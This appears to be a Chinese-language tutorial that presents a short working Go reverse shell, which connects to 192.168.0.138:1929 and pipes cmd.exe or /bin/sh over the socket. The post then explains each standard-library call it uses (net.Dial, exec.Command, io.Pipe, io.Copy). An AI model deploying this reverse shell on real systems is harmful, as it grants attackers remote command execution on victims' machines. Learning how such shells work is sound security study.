package main
import (
"io"
"log"
"net"
"os/exec"
)
func main() {
conn, err := net.Dial("tcp", "192.168.0.138:1929")
if err != nil {
log.Fatalln(err)
}
for {
cmd := exec.Command("cmd.exe")
// cmd := exec.Command("/bin/sh", "-i")
rp, wp := io.Pipe()
cmd.Stdin = conn
cmd.Stdout = wp
go io.Copy(conn, rp)
cmd.Run()
}
}
虽然原理很简单,但是没有学习过go语言的小伙伴可能看不太懂这一段代码,下面由我来做一下详细解释。
(1)
首先是net.Dial,它是来源于net包中的函数,我们来看一下它的函数原型。
func Dial(network, address string) (Conn, error) {
var d Dialer
return d.Dial(network, address)
}
参数说明如下:
- network 参数表示传入的网络协议(比如 tcp、udp 等);
- address 参数表示传入的 IP 地址或域名,而端口号是可选的,如果需要指定的话,以:的形式跟在地址或域名的后面即可。如果连接成功,该函数返回连接对象,否则返回 error。
实际上,Dial() 函数是对 DialTCP()、DialUDP()、DialIP()、DialUnix() 函数的封装:
func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err error)
func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err error)
func DialIP(netProto string, laddr, raddr *IPAddr) (c *IPConn, err error)
func DialUnix(net string, laddr, raddr *UnixAddr) (c *UnixConn, err error)
我们来看一下几种常见协议的调用方式。
1) TCP 连接
conn, err := net.Dial("tcp", "192.168.10.10:80")
2) UDP 连接:
conn, err := net.Dial("udp", "192.168.10.10:8888")
3) ICMP 连接(使用协议名称):
conn, err := net.Dial("ip4:icmp", "c.biancheng.net")
提示:ip4 表示 IPv4,相应的 ip6 表示 IPv6。
4) ICMP 连接(使用协议编号):
conn, err := net.Dial("ip4:1", "10.0.0.3")
Dial() 函数支持如下几种网络协议:tcp、tcp4(仅限 IPv4)、tcp6(仅限 IPv6)、udp、udp4(仅限 IPv4)、udp6(仅限 IPv6)、ip、ip4(仅限 IPv4)、ip6(仅限 IPv6)、unix、unixgram 和 unixpacket。
(2)if err != nil {
log.Fatalln(err)
}
这段代码就是判断我们的端口是否关闭或者已过滤,并进行日志的输出。这一段不是非常重要,不过感兴趣的小伙伴可以自己去研究一下Fatalln这个函数。
(3)我们来分析一下exec.Command函数
func Command(name string, arg ...string) *Cmd {
cmd := &Cmd{
Path: name,
Args: append([]string{name}, arg...),
}
if filepath.Base(name) == name {
if lp, err := LookPath(name); err != nil {
cmd.lookPathErr = err
} else {
cmd.Path = lp
}
}
return cmd
}
‘…’ 其实是go的一种语法糖。
它的第一个用法主要是用于函数有多个不定参数的情况,可以接受多个不确定数量的参数。
第二个用法是slice可以被打散进行传递。
命令返回 Cmd 结构以执行具有给定参数的命名程序。
它仅在返回的结构中设置 Path 和 Args。
如果 name 不包含路径分隔符,Command 会尽可能使用 LookPath 将 name 解析为完整路径。否则它直接使用名称作为路径。
返回的 Cmd 的 Args 字段由命令名称后跟 arg 的元素构成,因此 arg 不应包含命令名称本身。例如,命令("echo"、"hello")。 Args[0] 始终是名称,而不是可能解析的路径。
在 Windows 上,进程将整个命令行作为单个字符串接收并进行自己的解析。 Command 使用与使用CommandLineToArgvW 的应用程序兼容的算法(这是最常见的方式)将 Args 组合表示到命令行字符串中。值得注意的例外是 msiexec.exe 和 cmd.exe(以及所有批处理文件),它们具有不同的取消引用算法。在这些或其他类似情况下,您可以自己进行引用并在SysProcAttr CmdLine 中提供完整的命令行,将 Args 留空。
(4)我们来分析一下io.Pipe函数
func Pipe() (*PipeReader, *PipeWriter) {
p := &pipe{
wrCh: make(chan []byte),
rdCh: make(chan int),
done: make(chan struct{}),
}
return &PipeReader{p}, &PipeWriter{p}
}
type pipe struct {
wrMu sync.Mutex // Serializes Write operations
wrCh chan []byte
rdCh chan int
once sync.Once // Protects closing done
done chan struct{}
rerr onceError
werr onceError
}
io.Pipe会返回一个reader和writer,对reader读取(或写入writer)后,进程会被锁住,直到writer有新数据流进入或关闭(或reader把数据读走)。
此外,函数返回的 PipeReader 和 PipeWriter 均有 Close 和 CloseWithError 方法,用于停止读写(done)。
- wrCh 写入的数据
- rdCh 读了多少了
- once 只close一次done
- done 结束标志
- rerr 读错
- werr 写错
分析一下io.Copy的源码
func Copy(dst Writer, src Reader) (written int64, err error) {
return copyBuffer(dst, src, nil)
}
func copyBuffer(dst Writer, src Reader, buf []byte) (written int64, err error) {
……
if buf == nil {
size := 32 * 1024
if l, ok := src.(*LimitedReader); ok && int64(size) > l.N {
if l.N < 1 {
size = 1
} else {
size = int(l.N)
}
}
buf = make([]byte, size)
}
通过上述两段代码,它是将源复制到目标,并且是按默认的缓冲区32k循环操作的,不会将内容一次性全写入内存中,这样就能解决大文件的问题。
Go语言Dial()函数:建立网络连接Go语言中 Dial() 函数的原型如下: func Dial(net, addr string) (Conn, error) 其中 net 参数是网络协议的名字,addr 参数是 IP 地址或域名,而端口号以:的形式跟随在地址或域名的后面,端口号可选。http://c.biancheng.net/view/4514.htmlGolang log.Fatalln函数代码示例 - 纯净天空https://vimsky.com/examples/detail/golang-ex-log---Fatalln-function.html



